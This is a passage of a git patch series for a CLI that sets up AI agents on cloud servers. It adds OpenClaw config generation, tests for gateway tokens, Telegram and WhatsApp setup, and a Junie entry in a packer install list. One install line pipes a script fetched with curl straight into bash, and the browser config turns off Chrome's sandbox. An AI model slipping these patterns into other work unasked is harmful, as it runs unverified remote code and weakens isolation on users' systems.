configObj: Record = { + env: { + OPENROUTER_API_KEY: apiKey, + }, + gateway: { + mode: "local", + auth: { + token: gatewayToken, + }, + }, + agents: { + defaults: { + model: { + primary: modelId, + }, + }, + }, + }; + + if (hasBrowser) { + configObj.browser = { + executablePath: "/usr/bin/google-chrome-stable", + noSandbox: true, + headless: true, + defaultProfile: "openclaw", + }; + } + + if (telegramBotToken) { + configObj.channels = { + telegram: { + botToken: telegramBotToken, + }, + }; + logInfo("Telegram bot token configured"); + } + + const config = JSON.stringify(configObj, null, 2); + await uploadConfigFile(runner, config, "$HOME/.openclaw/openclaw.json"); + // WhatsApp — QR code scanning happens interactively in orchestrate.ts // after the gateway starts and tunnel is set up. No config needed here. From b33687d793aa29f25d3aed779de3c4b9ebefc005 Mon Sep 17 00:00:00 2001 From: Ahmed Abushagur Date: Thu, 12 Mar 2026 15:42:43 -0700 Subject: [PATCH 20/26] test: add OpenClaw config, messaging, and tunnel test coverage Adds 40 new tests across 2 files: openclaw-config.test.ts (30 tests): - Gateway auth token written correctly and matches browserUrl - Atomic config write (no `openclaw config set` commands) - Browser config gated by enabledSteps - Telegram bot token included/omitted based on input - USER.md messaging channel content - Tunnel config targeting port 18791 orchestrate-messaging.test.ts (10 tests): - SPAWN_ENABLED_STEPS parsing and threading - WhatsApp QR scan session triggered before agent launch - GitHub auth gated by enabledSteps - preLaunchMsg output behavior Also adds SPAWN_TELEGRAM_BOT_TOKEN env var override for non-interactive/CI Telegram setup (avoids prompt in tests). Co-Authored-By: Claude Opus 4.6 --- .../cli/src/__tests__/openclaw-config.test.ts | 591 ++++++++++++++++++ .../__tests__/orchestrate-messaging.test.ts | 335 ++++++++++ packages/cli/src/shared/agent-setup.ts | 4 +- 3 files changed, 929 insertions(+), 1 deletion(-) create mode 100644 packages/cli/src/__tests__/openclaw-config.test.ts create mode 100644 packages/cli/src/__tests__/orchestrate-messaging.test.ts diff --git a/packages/cli/src/__tests__/openclaw-config.test.ts b/packages/cli/src/__tests__/openclaw-config.test.ts new file mode 100644 index 000000000..54d625d85 --- /dev/null +++ b/packages/cli/src/__tests__/openclaw-config.test.ts @@ -0,0 +1,591 @@ +/** + * openclaw-config.test.ts — Tests for OpenClaw config generation, gateway auth + * token threading, Telegram/WhatsApp setup, and USER.md content. + * + * Verifies that: + * - The gateway auth token in openclaw.json matches the browserUrl token + * - Browser config is included atomically (no separate `openclaw config set`) + * - Telegram bot tokens are written into the config JSON + * - USER.md includes messaging channel guidance when selected + * - Chrome install is gated by enabledSteps + */ + +import { afterEach, beforeEach, describe, expect, it, mock, spyOn } from "bun:test"; +import { readFileSync } from "node:fs"; +import { tryCatch } from "@openrouter/spawn-shared"; +import { toRecord } from "../shared/type-guards"; +import { mockClackPrompts } from "./test-helpers"; + +// ── Mock @clack/prompts (must be before importing agent-setup) ────────── +const clack = mockClackPrompts(); + +// ── Import the module under test ──────────────────────────────────────── +const { createCloudAgents } = await import("../shared/agent-setup"); + +import type { CloudRunner } from "../shared/agent-setup"; + +// ── Helpers ───────────────────────────────────────────────────────────── + +/** Tracks all commands and uploads sent to the mock runner. */ +interface RunnerCapture { + runner: CloudRunner; + commands: string[]; + /** Contents of files uploaded via runner.uploadFile, read at upload time. */ + uploadedContents: string[]; +} + +function createCapturingRunner(): RunnerCapture { + const commands: string[] = []; + const uploadedContents: string[] = []; + + const runner: CloudRunner = { + runServer: mock(async (cmd: string) => { + commands.push(cmd); + }), + uploadFile: mock(async (localPath: string, _remotePath: string) => { + // Read the file content immediately — uploadConfigFile deletes it right after + const r = tryCatch(() => readFileSync(localPath, "utf-8")); + if (r.ok) { + uploadedContents.push(r.data); + } + }), + }; + + return { + runner, + commands, + uploadedContents, + }; +} + +/** Find the openclaw.json config from uploaded files. */ +function findConfigJson(capture: RunnerCapture): Record | null { + for (const content of capture.uploadedContents) { + const r = tryCatch(() => JSON.parse(content)); + if (r.ok && r.data && typeof r.data === "object" && "gateway" in r.data) { + return toRecord(r.data); + } + } + return null; +} + +/** Find the USER.md content from uploaded files. */ +function findUserMd(capture: RunnerCapture): string | null { + for (const content of capture.uploadedContents) { + if (content.includes("# User")) { + return content; + } + } + return null; +} + +/** Safely drill into a nested config object. */ +function drill(obj: Record, ...keys: string[]): unknown { + let current: unknown = obj; + for (const key of keys) { + const rec = toRecord(current); + if (rec && key in rec) { + current = rec[key]; + } else { + return undefined; + } + } + return current; +} + +// ── Test suite ────────────────────────────────────────────────────────── + +describe("OpenClaw config (setupOpenclawConfig)", () => { + let stderrSpy: ReturnType; + let savedTelegramToken: string | undefined; + + beforeEach(() => { + stderrSpy = spyOn(process.stderr, "write").mockImplementation(() => true); + savedTelegramToken = process.env.SPAWN_TELEGRAM_BOT_TOKEN; + delete process.env.SPAWN_TELEGRAM_BOT_TOKEN; + }); + + afterEach(() => { + stderrSpy.mockRestore(); + if (savedTelegramToken !== undefined) { + process.env.SPAWN_TELEGRAM_BOT_TOKEN = savedTelegramToken; + } else { + delete process.env.SPAWN_TELEGRAM_BOT_TOKEN; + } + }); + + // ── Gateway auth token ────────────────────────────────────────────── + + describe("gateway auth token", () => { + it("writes gateway.auth.token to openclaw.json", async () => { + const capture = createCapturingRunner(); + const { agents } = createCloudAgents(capture.runner); + + await agents.openclaw.configure!("sk-test-key", "test-model", new Set([])); + + const config = findConfigJson(capture); + expect(config).not.toBeNull(); + + const token = drill(config!, "gateway", "auth", "token"); + expect(typeof token).toBe("string"); + expect(String(token).length).toBe(32); + }); + + it("browserUrl token matches the gateway.auth.token in config", async () => { + const capture = createCapturingRunner(); + const { agents } = createCloudAgents(capture.runner); + + await agents.openclaw.configure!("sk-test-key", "test-model", new Set([])); + + const config = findConfigJson(capture); + const configToken = String(drill(config!, "gateway", "auth", "token")); + + const browserUrl = agents.openclaw.tunnel!.browserUrl!(12345); + expect(browserUrl).toContain(`?token=${configToken}`); + }); + + it("token is stable across browserUrl calls (same agent instance)", () => { + const capture = createCapturingRunner(); + const { agents } = createCloudAgents(capture.runner); + + const url1 = agents.openclaw.tunnel!.browserUrl!(8080); + const url2 = agents.openclaw.tunnel!.browserUrl!(9090); + + const token1 = new URL(url1!).searchParams.get("token"); + const token2 = new URL(url2!).searchParams.get("token"); + expect(token1).toBe(token2); + }); + + it("different createCloudAgents calls generate different tokens", () => { + const capture1 = createCapturingRunner(); + const capture2 = createCapturingRunner(); + const { agents: agents1 } = createCloudAgents(capture1.runner); + const { agents: agents2 } = createCloudAgents(capture2.runner); + + const url1 = agents1.openclaw.tunnel!.browserUrl!(8000); + const url2 = agents2.openclaw.tunnel!.browserUrl!(8000); + + const token1 = new URL(url1!).searchParams.get("token"); + const token2 = new URL(url2!).searchParams.get("token"); + + expect(token1).not.toBe(token2); + expect(token1!.length).toBe(32); + expect(token2!.length).toBe(32); + }); + }); + + // ── Atomic config write ───────────────────────────────────────────── + + describe("atomic config write", () => { + it("writes API key, gateway token, and model in a single JSON upload", async () => { + const capture = createCapturingRunner(); + const { agents } = createCloudAgents(capture.runner); + + await agents.openclaw.configure!("sk-my-api-key", "anthropic/claude-3", new Set([])); + + const config = findConfigJson(capture); + expect(config).not.toBeNull(); + + expect(drill(config!, "env", "OPENROUTER_API_KEY")).toBe("sk-my-api-key"); + expect(drill(config!, "gateway", "mode")).toBe("local"); + expect(drill(config!, "gateway", "auth", "token")).toBeDefined(); + expect(drill(config!, "agents", "defaults", "model", "primary")).toBe("anthropic/claude-3"); + }); + + it("does not run openclaw config set commands", async () => { + const capture = createCapturingRunner(); + const { agents } = createCloudAgents(capture.runner); + + await agents.openclaw.configure!( + "sk-key", + "model", + new Set([ + "browser", + ]), + ); + + const configSetCmds = capture.commands.filter((c) => c.includes("openclaw config set")); + expect(configSetCmds).toHaveLength(0); + }); + + it("includes browser config in the JSON when browser step is enabled", async () => { + const capture = createCapturingRunner(); + const { agents } = createCloudAgents(capture.runner); + + await agents.openclaw.configure!( + "sk-key", + "model", + new Set([ + "browser", + ]), + ); + + const config = findConfigJson(capture); + expect(config!.browser).toBeDefined(); + expect(drill(config!, "browser", "executablePath")).toBe("/usr/bin/google-chrome-stable"); + expect(drill(config!, "browser", "noSandbox")).toBe(true); + expect(drill(config!, "browser", "headless")).toBe(true); + expect(drill(config!, "browser", "defaultProfile")).toBe("openclaw"); + }); + + it("includes browser config when enabledSteps is undefined (default)", async () => { + const capture = createCapturingRunner(); + const { agents } = createCloudAgents(capture.runner); + + await agents.openclaw.configure!("sk-key", "model", undefined); + + const config = findConfigJson(capture); + expect(config!.browser).toBeDefined(); + }); + + it("excludes browser config when browser step is not in enabledSteps", async () => { + const capture = createCapturingRunner(); + const { agents } = createCloudAgents(capture.runner); + + await agents.openclaw.configure!( + "sk-key", + "model", + new Set([ + "github", + ]), + ); + + const config = findConfigJson(capture); + expect(config!.browser).toBeUndefined(); + }); + + it("writes valid JSON with special characters in API key", async () => { + const capture = createCapturingRunner(); + const { agents } = createCloudAgents(capture.runner); + + await agents.openclaw.configure!('sk-key-with-"quotes"&special', "model/with/slashes", new Set([])); + + const config = findConfigJson(capture); + expect(config).not.toBeNull(); + expect(drill(config!, "env", "OPENROUTER_API_KEY")).toBe('sk-key-with-"quotes"&special'); + expect(drill(config!, "agents", "defaults", "model", "primary")).toBe("model/with/slashes"); + }); + }); + + // ── Chrome browser install gating ─────────────────────────────────── + + describe("Chrome browser install", () => { + it("installs Chrome when browser step is enabled", async () => { + const capture = createCapturingRunner(); + const { agents } = createCloudAgents(capture.runner); + + await agents.openclaw.configure!( + "sk-key", + "model", + new Set([ + "browser", + ]), + ); + + const chromeCmd = capture.commands.find((c) => c.includes("google-chrome")); + expect(chromeCmd).toBeDefined(); + }); + + it("installs Chrome when enabledSteps is undefined (default behavior)", async () => { + const capture = createCapturingRunner(); + const { agents } = createCloudAgents(capture.runner); + + await agents.openclaw.configure!("sk-key", "model", undefined); + + const chromeCmd = capture.commands.find((c) => c.includes("google-chrome")); + expect(chromeCmd).toBeDefined(); + }); + + it("skips Chrome install when browser step is not selected", async () => { + const capture = createCapturingRunner(); + const { agents } = createCloudAgents(capture.runner); + + await agents.openclaw.configure!( + "sk-key", + "model", + new Set([ + "github", + ]), + ); + + const chromeCmd = capture.commands.find((c) => c.includes("google-chrome")); + expect(chromeCmd).toBeUndefined(); + }); + }); + + // ── Telegram setup ────────────────────────────────────────────────── + + describe("Telegram bot token", () => { + it("includes Telegram bot token in config JSON when provided", async () => { + process.env.SPAWN_TELEGRAM_BOT_TOKEN = "12345:ABCdefGhIjKlMnOpQrStUvWxYz"; + const capture = createCapturingRunner(); + const { agents } = createCloudAgents(capture.runner); + + await agents.openclaw.configure!( + "sk-key", + "model", + new Set([ + "telegram", + ]), + ); + + const config = findConfigJson(capture); + expect(drill(config!, "channels", "telegram", "botToken")).toBe("12345:ABCdefGhIjKlMnOpQrStUvWxYz"); + }); + + it("trims whitespace from Telegram bot token", async () => { + process.env.SPAWN_TELEGRAM_BOT_TOKEN = " bot-token-123 "; + const capture = createCapturingRunner(); + const { agents } = createCloudAgents(capture.runner); + + await agents.openclaw.configure!( + "sk-key", + "model", + new Set([ + "telegram", + ]), + ); + + const config = findConfigJson(capture); + expect(drill(config!, "channels", "telegram", "botToken")).toBe("bot-token-123"); + }); + + it("omits channels from config when Telegram token is empty", async () => { + process.env.SPAWN_TELEGRAM_BOT_TOKEN = " "; + const capture = createCapturingRunner(); + const { agents } = createCloudAgents(capture.runner); + + await agents.openclaw.configure!( + "sk-key", + "model", + new Set([ + "telegram", + ]), + ); + + const config = findConfigJson(capture); + expect(config!.channels).toBeUndefined(); + }); + + it("omits channels when no token is provided", async () => { + const capture = createCapturingRunner(); + const { agents } = createCloudAgents(capture.runner); + + await agents.openclaw.configure!( + "sk-key", + "model", + new Set([ + "telegram", + ]), + ); + + const config = findConfigJson(capture); + expect(config!.channels).toBeUndefined(); + }); + + it("omits channels from config when Telegram is not in enabledSteps", async () => { + process.env.SPAWN_TELEGRAM_BOT_TOKEN = "should-not-be-used"; + const capture = createCapturingRunner(); + const { agents } = createCloudAgents(capture.runner); + + await agents.openclaw.configure!( + "sk-key", + "model", + new Set([ + "browser", + ]), + ); + + const config = findConfigJson(capture); + expect(config!.channels).toBeUndefined(); + }); + + it("gateway auth token is preserved when Telegram token is set", async () => { + process.env.SPAWN_TELEGRAM_BOT_TOKEN = "my-bot-token"; + const capture = createCapturingRunner(); + const { agents } = createCloudAgents(capture.runner); + + await agents.openclaw.configure!( + "sk-key", + "model", + new Set([ + "telegram", + "browser", + ]), + ); + + const config = findConfigJson(capture); + + const token = drill(config!, "gateway", "auth", "token"); + expect(typeof token).toBe("string"); + expect(String(token).length).toBe(32); + expect(drill(config!, "channels", "telegram", "botToken")).toBe("my-bot-token"); + + const browserUrl = agents.openclaw.tunnel!.browserUrl!(8080); + expect(browserUrl).toContain(`?token=${token}`); + }); + + it("browser config coexists with Telegram config in same JSON", async () => { + process.env.SPAWN_TELEGRAM_BOT_TOKEN = "my-token"; + const capture = createCapturingRunner(); + const { agents } = createCloudAgents(capture.runner); + + await agents.openclaw.configure!( + "sk-key", + "model", + new Set([ + "telegram", + "browser", + ]), + ); + + const config = findConfigJson(capture); + expect(config!.gateway).toBeDefined(); + expect(config!.browser).toBeDefined(); + expect(config!.channels).toBeDefined(); + }); + }); + + // ── USER.md content ───────────────────────────────────────────────── + + describe("USER.md generation", () => { + it("writes USER.md with web dashboard info", async () => { + const capture = createCapturingRunner(); + const { agents } = createCloudAgents(capture.runner); + + await agents.openclaw.configure!("sk-key", "model", new Set([])); + + const userMd = findUserMd(capture); + expect(userMd).not.toBeNull(); + expect(userMd).toContain("web dashboard"); + expect(userMd).toContain("18791"); + }); + + it("includes Telegram section when Telegram is enabled", async () => { + process.env.SPAWN_TELEGRAM_BOT_TOKEN = "test-token"; + const capture = createCapturingRunner(); + const { agents } = createCloudAgents(capture.runner); + + await agents.openclaw.configure!( + "sk-key", + "model", + new Set([ + "telegram", + ]), + ); + + const userMd = findUserMd(capture); + expect(userMd).toContain("Messaging Channels"); + expect(userMd).toContain("Telegram"); + expect(userMd).toContain("openclaw config get channels.telegram.botToken"); + }); + + it("includes WhatsApp section when WhatsApp is enabled", async () => { + const capture = createCapturingRunner(); + const { agents } = createCloudAgents(capture.runner); + + await agents.openclaw.configure!( + "sk-key", + "model", + new Set([ + "whatsapp", + ]), + ); + + const userMd = findUserMd(capture); + expect(userMd).toContain("Messaging Channels"); + expect(userMd).toContain("WhatsApp"); + expect(userMd).toContain("QR code scanning"); + expect(userMd).toContain("http://localhost:18791"); + }); + + it("includes both Telegram and WhatsApp when both are enabled", async () => { + process.env.SPAWN_TELEGRAM_BOT_TOKEN = "bot-token"; + const capture = createCapturingRunner(); + const { agents } = createCloudAgents(capture.runner); + + await agents.openclaw.configure!( + "sk-key", + "model", + new Set([ + "telegram", + "whatsapp", + ]), + ); + + const userMd = findUserMd(capture); + expect(userMd).toContain("Telegram"); + expect(userMd).toContain("WhatsApp"); + }); + + it("omits messaging section when neither Telegram nor WhatsApp is enabled", async () => { + const capture = createCapturingRunner(); + const { agents } = createCloudAgents(capture.runner); + + await agents.openclaw.configure!( + "sk-key", + "model", + new Set([ + "browser", + ]), + ); + + const userMd = findUserMd(capture); + expect(userMd).not.toBeNull(); + expect(userMd).not.toContain("Messaging Channels"); + }); + + it("creates .openclaw/workspace directory before uploading USER.md", async () => { + const capture = createCapturingRunner(); + const { agents } = createCloudAgents(capture.runner); + + await agents.openclaw.configure!("sk-key", "model", new Set([])); + + const mkdirCmd = capture.commands.find((c) => c.includes("mkdir -p ~/.openclaw/workspace")); + expect(mkdirCmd).toBeDefined(); + }); + }); + + // ── Tunnel config ─────────────────────────────────────────────────── + + describe("tunnel config", () => { + it("openclaw agent has tunnel config targeting port 18791", () => { + const capture = createCapturingRunner(); + const { agents } = createCloudAgents(capture.runner); + + expect(agents.openclaw.tunnel).toBeDefined(); + expect(agents.openclaw.tunnel!.remotePort).toBe(18791); + }); + + it("browserUrl includes the token as a query parameter", () => { + const capture = createCapturingRunner(); + const { agents } = createCloudAgents(capture.runner); + + const url = agents.openclaw.tunnel!.browserUrl!(54321); + expect(url).toMatch(/^http:\/\/localhost:54321\/\?token=[a-f0-9]{32}$/); + }); + + it("browserUrl uses the provided local port", () => { + const capture = createCapturingRunner(); + const { agents } = createCloudAgents(capture.runner); + + const url1 = agents.openclaw.tunnel!.browserUrl!(8080); + const url2 = agents.openclaw.tunnel!.browserUrl!(9999); + + expect(url1).toContain("localhost:8080"); + expect(url2).toContain("localhost:9999"); + }); + + it("no other agents define tunnel config", () => { + const capture = createCapturingRunner(); + const { agents } = createCloudAgents(capture.runner); + + for (const [name, agent] of Object.entries(agents)) { + if (name === "openclaw") { + continue; + } + expect(agent.tunnel).toBeUndefined(); + } + }); + }); +}); diff --git a/packages/cli/src/__tests__/orchestrate-messaging.test.ts b/packages/cli/src/__tests__/orchestrate-messaging.test.ts new file mode 100644 index 000000000..9ddc9bc48 --- /dev/null +++ b/packages/cli/src/__tests__/orchestrate-messaging.test.ts @@ -0,0 +1,335 @@ +/** + * orchestrate-messaging.test.ts — Tests for messaging channel flows + * (WhatsApp QR scan, enabledSteps-dependent behavior) and SSH tunnel + * + browser open sequencing in the orchestration pipeline. + * + * These tests complement orchestrate.test.ts by covering the enabledSteps + * branches that were previously untested. + */ + +import { afterEach, beforeEach, describe, expect, it, mock, spyOn } from "bun:test"; +import { mkdirSync, rmSync } from "node:fs"; +import { join } from "node:path"; +import { asyncTryCatch, tryCatch } from "@openrouter/spawn-shared"; +import { isNumber } from "../shared/type-guards.js"; + +const mockGetOrPromptApiKey = mock(() => Promise.resolve("sk-or-v1-test-key")); +const mockTryTarballInstall = mock(() => Promise.resolve(false)); + +import type { AgentConfig } from "../shared/agents"; +import type { CloudOrchestrator, OrchestrationOptions } from "../shared/orchestrate"; + +import { runOrchestration } from "../shared/orchestrate"; + +// ── Helpers ─────────────────────────────────────────────────────────────── + +function createMockCloud(overrides: Partial = {}): CloudOrchestrator { + const mockRunner = { + runServer: mock(() => Promise.resolve()), + uploadFile: mock(() => Promise.resolve()), + }; + return { + cloudName: "testcloud", + cloudLabel: "Test Cloud", + runner: mockRunner, + authenticate: mock(() => Promise.resolve()), + promptSize: mock(() => Promise.resolve()), + createServer: mock(() => + Promise.resolve({ + ip: "10.0.0.1", + user: "root", + server_name: "test-server-1", + cloud: "testcloud", + }), + ), + getServerName: mock(() => Promise.resolve("test-server-1")), + waitForReady: mock(() => Promise.resolve()), + interactiveSession: mock(() => Promise.resolve(0)), + ...overrides, + }; +} + +function createMockAgent(overrides: Partial = {}): AgentConfig { + return { + name: "TestAgent", + install: mock(() => Promise.resolve()), + envVars: mock((key: string) => [ + `OPENROUTER_API_KEY=${key}`, + ]), + launchCmd: mock(() => "test-agent --start"), + ...overrides, + }; +} + +const defaultOpts: OrchestrationOptions = { + tryTarball: mockTryTarballInstall, + getApiKey: mockGetOrPromptApiKey, +}; + +async function runOrchestrationSafe( + cloud: CloudOrchestrator, + agent: AgentConfig, + agentName: string, + opts: OrchestrationOptions = defaultOpts, +): Promise { + const r = await asyncTryCatch(async () => runOrchestration(cloud, agent, agentName, opts)); + if (!r.ok) { + if (r.error.message.startsWith("__EXIT_")) { + return; + } + throw r.error; + } +} + +// ── Test suite ──────────────────────────────────────────────────────────── + +describe("orchestration — messaging and tunnel", () => { + let exitSpy: ReturnType; + let capturedExitCode: number | undefined; + let stderrSpy: ReturnType; + let testDir: string; + let savedSpawnHome: string | undefined; + let savedEnabledSteps: string | undefined; + + beforeEach(() => { + capturedExitCode = undefined; + testDir = join(process.env.HOME ?? "", `.spawn-test-msg-${Date.now()}-${Math.random()}`); + mkdirSync(testDir, { + recursive: true, + }); + savedSpawnHome = process.env.SPAWN_HOME; + savedEnabledSteps = process.env.SPAWN_ENABLED_STEPS; + process.env.SPAWN_HOME = testDir; + process.env.SPAWN_SKIP_GITHUB_AUTH = "1"; + delete process.env.SPAWN_ENABLED_STEPS; + delete process.env.SPAWN_BETA; + stderrSpy = spyOn(process.stderr, "write").mockImplementation(() => true); + exitSpy = spyOn(process, "exit").mockImplementation((code) => { + capturedExitCode = isNumber(code) ? code : 0; + throw new Error(`__EXIT_${capturedExitCode}__`); + }); + mockGetOrPromptApiKey.mockClear(); + mockGetOrPromptApiKey.mockImplementation(() => Promise.resolve("sk-or-v1-test-key")); + mockTryTarballInstall.mockClear(); + mockTryTarballInstall.mockImplementation(() => Promise.resolve(false)); + }); + + afterEach(() => { + if (savedSpawnHome !== undefined) { + process.env.SPAWN_HOME = savedSpawnHome; + } else { + delete process.env.SPAWN_HOME; + } + if (savedEnabledSteps !== undefined) { + process.env.SPAWN_ENABLED_STEPS = savedEnabledSteps; + } else { + delete process.env.SPAWN_ENABLED_STEPS; + } + tryCatch(() => + rmSync(testDir, { + recursive: true, + force: true, + }), + ); + stderrSpy.mockRestore(); + exitSpy.mockRestore(); + }); + + // ── enabledSteps parsing ──────────────────────────────────────────── + + describe("SPAWN_ENABLED_STEPS parsing", () => { + it("passes enabledSteps from env to configure", async () => { + process.env.SPAWN_ENABLED_STEPS = "github,telegram,whatsapp"; + const configure = mock(() => Promise.resolve()); + const cloud = createMockCloud(); + const agent = createMockAgent({ + configure, + }); + + await runOrchestrationSafe(cloud, agent, "testagent"); + + const callArgs = configure.mock.calls[0]; + const enabledSteps = callArgs[2]; + expect(enabledSteps).toBeInstanceOf(Set); + expect(enabledSteps.has("github")).toBe(true); + expect(enabledSteps.has("telegram")).toBe(true); + expect(enabledSteps.has("whatsapp")).toBe(true); + }); + + it("passes undefined enabledSteps when env var is not set", async () => { + delete process.env.SPAWN_ENABLED_STEPS; + const configure = mock(() => Promise.resolve()); + const cloud = createMockCloud(); + const agent = createMockAgent({ + configure, + }); + + await runOrchestrationSafe(cloud, agent, "testagent"); + + const callArgs = configure.mock.calls[0]; + expect(callArgs[2]).toBeUndefined(); + }); + + it("handles empty SPAWN_ENABLED_STEPS as empty set", async () => { + process.env.SPAWN_ENABLED_STEPS = ""; + const configure = mock(() => Promise.resolve()); + const cloud = createMockCloud(); + const agent = createMockAgent({ + configure, + }); + + await runOrchestrationSafe(cloud, agent, "testagent"); + + const callArgs = configure.mock.calls[0]; + const enabledSteps = callArgs[2]; + expect(enabledSteps).toBeInstanceOf(Set); + expect(enabledSteps.size).toBe(0); + }); + }); + + // ── WhatsApp QR scan flow ─────────────────────────────────────────── + + describe("WhatsApp interactive session", () => { + it("runs WhatsApp QR scan session when whatsapp is in enabledSteps", async () => { + process.env.SPAWN_ENABLED_STEPS = "whatsapp"; + let whatsappSessionRun = false; + const interactiveSessionCalls: string[] = []; + const cloud = createMockCloud({ + interactiveSession: mock(async (cmd: string) => { + interactiveSessionCalls.push(cmd); + if (cmd.includes("openclaw channels login")) { + whatsappSessionRun = true; + } + return 0; + }), + }); + const agent = createMockAgent(); + + await runOrchestrationSafe(cloud, agent, "testagent"); + + expect(whatsappSessionRun).toBe(true); + // The WhatsApp command should include the channel flag + const whatsappCmd = interactiveSessionCalls.find((c) => c.includes("openclaw channels login")); + expect(whatsappCmd).toContain("--channel whatsapp"); + }); + + it("does not run WhatsApp session when whatsapp is not in enabledSteps", async () => { + process.env.SPAWN_ENABLED_STEPS = "github,browser"; + const interactiveSessionCalls: string[] = []; + const cloud = createMockCloud({ + interactiveSession: mock(async (cmd: string) => { + interactiveSessionCalls.push(cmd); + return 0; + }), + }); + const agent = createMockAgent(); + + await runOrchestrationSafe(cloud, agent, "testagent"); + + const whatsappCmd = interactiveSessionCalls.find((c) => c.includes("openclaw channels login")); + expect(whatsappCmd).toBeUndefined(); + }); + + it("does not run WhatsApp session when SPAWN_ENABLED_STEPS is not set", async () => { + delete process.env.SPAWN_ENABLED_STEPS; + const interactiveSessionCalls: string[] = []; + const cloud = createMockCloud({ + interactiveSession: mock(async (cmd: string) => { + interactiveSessionCalls.push(cmd); + return 0; + }), + }); + const agent = createMockAgent(); + + await runOrchestrationSafe(cloud, agent, "testagent"); + + const whatsappCmd = interactiveSessionCalls.find((c) => c.includes("openclaw channels login")); + expect(whatsappCmd).toBeUndefined(); + }); + + it("WhatsApp session runs before the main agent launch", async () => { + process.env.SPAWN_ENABLED_STEPS = "whatsapp"; + const callOrder: string[] = []; + const cloud = createMockCloud({ + interactiveSession: mock(async (cmd: string) => { + if (cmd.includes("openclaw channels login")) { + callOrder.push("whatsapp-qr"); + } else { + callOrder.push("agent-launch"); + } + return 0; + }), + }); + const agent = createMockAgent(); + + await runOrchestrationSafe(cloud, agent, "testagent"); + + const whatsappIdx = callOrder.indexOf("whatsapp-qr"); + const launchIdx = callOrder.indexOf("agent-launch"); + expect(whatsappIdx).toBeGreaterThanOrEqual(0); + expect(launchIdx).toBeGreaterThanOrEqual(0); + expect(whatsappIdx).toBeLessThan(launchIdx); + }); + }); + + // ── GitHub auth gating ────────────────────────────────────────────── + + describe("GitHub auth gating", () => { + it("skips GitHub auth when github is not in enabledSteps", async () => { + process.env.SPAWN_ENABLED_STEPS = "browser"; + // Remove the skip env var to actually test the gating logic + delete process.env.SPAWN_SKIP_GITHUB_AUTH; + const cloud = createMockCloud(); + const agent = createMockAgent(); + + await runOrchestrationSafe(cloud, agent, "testagent"); + + // GitHub auth should have been skipped — no github-related commands + // The runner shouldn't have github-related calls beyond agent setup + // (This is a negative test — we're verifying the branch wasn't taken) + expect(cloud.interactiveSession).toHaveBeenCalled(); + // Restore for other tests + process.env.SPAWN_SKIP_GITHUB_AUTH = "1"; + }); + }); + + // ── preLaunchMsg ──────────────────────────────────────────────────── + + describe("preLaunchMsg", () => { + it("outputs preLaunchMsg to stderr when defined", async () => { + stderrSpy.mockRestore(); + const stderrOutput: string[] = []; + stderrSpy = spyOn(process.stderr, "write").mockImplementation((chunk) => { + stderrOutput.push(String(chunk)); + return true; + }); + + const cloud = createMockCloud(); + const agent = createMockAgent({ + preLaunchMsg: "Your web dashboard will open automatically", + }); + + await runOrchestrationSafe(cloud, agent, "testagent"); + + const allOutput = stderrOutput.join(""); + expect(allOutput).toContain("Your web dashboard will open automatically"); + }); + + it("does not output preLaunchMsg when not defined", async () => { + stderrSpy.mockRestore(); + const stderrOutput: string[] = []; + stderrSpy = spyOn(process.stderr, "write").mockImplementation((chunk) => { + stderrOutput.push(String(chunk)); + return true; + }); + + const cloud = createMockCloud(); + const agent = createMockAgent(); // no preLaunchMsg + + await runOrchestrationSafe(cloud, agent, "testagent"); + + const allOutput = stderrOutput.join(""); + expect(allOutput).not.toContain("Tip:"); + }); + }); +}); diff --git a/packages/cli/src/shared/agent-setup.ts b/packages/cli/src/shared/agent-setup.ts index f86c83fc6..6d8474b4b 100644 --- a/packages/cli/src/shared/agent-setup.ts +++ b/packages/cli/src/shared/agent-setup.ts @@ -335,7 +335,9 @@ async function setupOpenclawConfig( let telegramBotToken = ""; if (enabledSteps?.has("telegram")) { logStep("Setting up Telegram..."); - const botToken = await prompt("Telegram bot token (from @BotFather): "); + // Allow env var override for non-interactive / CI / testing scenarios + const envToken = process.env.SPAWN_TELEGRAM_BOT_TOKEN ?? ""; + const botToken = envToken || (await prompt("Telegram bot token (from @BotFather): ")); telegramBotToken = botToken.trim(); if (!telegramBotToken) { logInfo("No token entered — set up Telegram via the web dashboard after launch"); From cc2a14f8a884d8ca08dbf9dd592d6d30668facb5 Mon Sep 17 00:00:00 2001 From: A <258483684+la14-1@users.noreply.github.com> Date: Thu, 12 Mar 2026 15:45:03 -0700 Subject: [PATCH 21/26] fix: add junie to tarball build pipeline (#2541) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Junie was added as a fully implemented agent (manifest, agent scripts, agent-setup.ts) but the packer/tarball pipeline was never updated. This meant the nightly agent-tarballs workflow could not build a pre-built tarball for Junie, forcing all deployments to do a live npm install. - Add junie entry to packer/agents.json (tier: node, @jetbrains/junie-cli) - Add junie to capture-agent.sh allowlist and path-capture case (npm-based, same as codex/kilocode — captures /root/.npm-global/) Agent: code-health Co-authored-by: B <6723574+louisgv@users.noreply.github.com> Co-authored-by: Claude Sonnet 4.5 --- packer/agents.json | 6 ++++++ packer/scripts/capture-agent.sh | 6 +++--- 2 files changed, 9 insertions(+), 3 deletions(-) diff --git a/packer/agents.json b/packer/agents.json index 26cec4ea3..f45602566 100644 --- a/packer/agents.json +++ b/packer/agents.json @@ -42,5 +42,11 @@ "install": [ "curl -fsSL https://raw.githubusercontent.com/NousResearch/hermes-agent/main/scripts/install.sh | bash || [ -f ~/.local/bin/hermes ]" ] + }, + "junie": { + "tier": "node", + "install": [ + "mkdir -p ~/.npm-global/bin && npm install -g --prefix ~/.npm-global @jetbrains/junie-cli" + ] } } diff --git a/packer/scripts/capture-agent.sh b/packer/scripts/capture-agent.sh index 6e21ac812..4a7bee768 100644 --- a/packer/scripts/capture-agent.sh +++ b/packer/scripts/capture-agent.sh @@ -13,9 +13,9 @@ fi # Validate agent name against allowed list to prevent injection case "${AGENT_NAME}" in - openclaw|codex|kilocode|claude|opencode|zeroclaw|hermes) ;; + openclaw|codex|kilocode|claude|opencode|zeroclaw|hermes|junie) ;; *) - printf 'Error: Invalid agent name: %s\nAllowed: openclaw, codex, kilocode, claude, opencode, zeroclaw, hermes\n' "${AGENT_NAME}" >&2 + printf 'Error: Invalid agent name: %s\nAllowed: openclaw, codex, kilocode, claude, opencode, zeroclaw, hermes, junie\n' "${AGENT_NAME}" >&2 exit 1 ;; esac @@ -32,7 +32,7 @@ case "${AGENT_NAME}" in echo "/usr/bin/google-chrome" >> "${PATHS_FILE}" echo "/opt/google/chrome/" >> "${PATHS_FILE}" ;; - codex|kilocode) + codex|kilocode|junie) 